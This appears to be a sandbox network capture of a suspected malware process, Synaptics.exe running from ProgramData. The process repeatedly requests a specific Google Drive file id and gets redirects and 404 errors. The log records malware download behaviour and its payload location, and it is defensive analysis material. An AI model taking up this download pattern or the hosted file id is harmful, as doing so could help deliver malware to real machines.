2025-01-02 19:20:26 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7Lw_z7IivEgB5fgEcBkFYoswKmAc0oOXRH36jH2Y14TwitFGLQwv2BoRUIlGz3uIHD Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:26 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-XknZLvuOMjNLJU6S_tVM3g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:26 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:20:26 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 35 67 50 49 55 72 41 7a 64 48 69 4c 51 4e 54 47 30 53 6b 68 38 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="5gPIUrAzdHiLQNTG0Skh8w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:20:26 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49782	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:26 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:26 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6Z6gaClDt_9WOprl6PCmqGH22Du26E66b24cqJpsQ8c9032qKOGE7SmXuevj3ivUyiXjQbPso Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:26 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-jvXlkzmeMv2MIP2YcsR7Mg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:26 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:26 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 76 73 52 45 55 49 2d 52 69 4a 43 6f 5f 34 4b 51 65 48 35 30 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="kvsREUI-RiJCo_4KQeH50w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:26 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49783	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:26 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=hX1JTupK5fPJskvkmIz1OSlRtO6lhHgnnXEUeMqPDonoLVhOrk7uB3wsVomjBzgmiA8iqd-Edc0-NccUcRD9DlrLXGcX_05DENZi06xa5OpWgStbdxVCVRThgtY8X8vsjG2QgBG0Md2wUl9GmCAs7yivJdSROg7WkDtEWmf2wN2TyOXJSTjimoyp
2025-01-02 19:20:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ORU1wSSUPTumbaxyiYhoYw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49787	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:27 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc
2025-01-02 19:20:27 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:27 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-K75b122Tx_nO_ozxcQSVyg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49788	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:27 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:27 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4u0BZO4YAZMrLhmEzza6AH7K0YSQC9TKmTXRPQfWUIa4rzrMPMJVh-ydwYQWSfqyLiIBFgWyA Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:27 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-3xQ8bzPtrqEI0Y2kogwQLQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:27 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:27 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6c 79 7a 4b 58 66 6a 53 39 67 49 51 76 72 39 76 50 6e 58 57 70 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="lyzKXfjS9gIQvr9vPnXWpA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:27 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49786	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:27 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc
2025-01-02 19:20:27 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:27 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-E7WZb6kQ0QYlKF6DrzlnVA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49789	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:27 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC
2025-01-02 19:20:27 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC45s-CGtkzR1_YfdnRprTQEXAZk7jEovsQllGhsnIdK9exrBviWc56bm-ODl5bO-jZDmWR1410 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:20:27 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-4ipRdY9c_SP2iPmQxUpizQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:20:27 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:20:27 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5f 38 76 54 39 2d 5a 63 75 4f 32 30 70 32 56 76 70 79 63 4e 68 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="_8vT9-ZcuO20p2VvpycNhQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:20:27 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	49792	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:28 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Gaj4_HTJBUqeqZHTN1lX6PccM4VQKTn5lQBYkf93aylycITMtrCpfjSMNQCPtP7LM5PqE-rFb39v2vHmBoWBiMkES5VufO4Evfh4ZEUxwJaW5ooBdZeIG_A5YQ9185SbE5jm0CeeGb-YEWfNHTNn7PnB-x0rv4Wv0f6zX32En2iq-Sl6qO4kUuc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49793	142.250.186.33	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:20:28 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=rO7Jxjn-aDmLqryp4vUvzUhVrd44ytlyXsOEubxrDoRgLP5rs8kx_wE-Ib0N7F7fg-KJqCSldJx4JZsl6muG3XonZ4uEErc_DCDrT3cPHN9S-hs3vlMsOX-o8MgC2bCODrOcJFIErFswVfTmtjLgGGln9vcJbFaZQwgtPtoal7fYq1WDgyvdDmzC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49794	142.250.185.142	443	5500	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
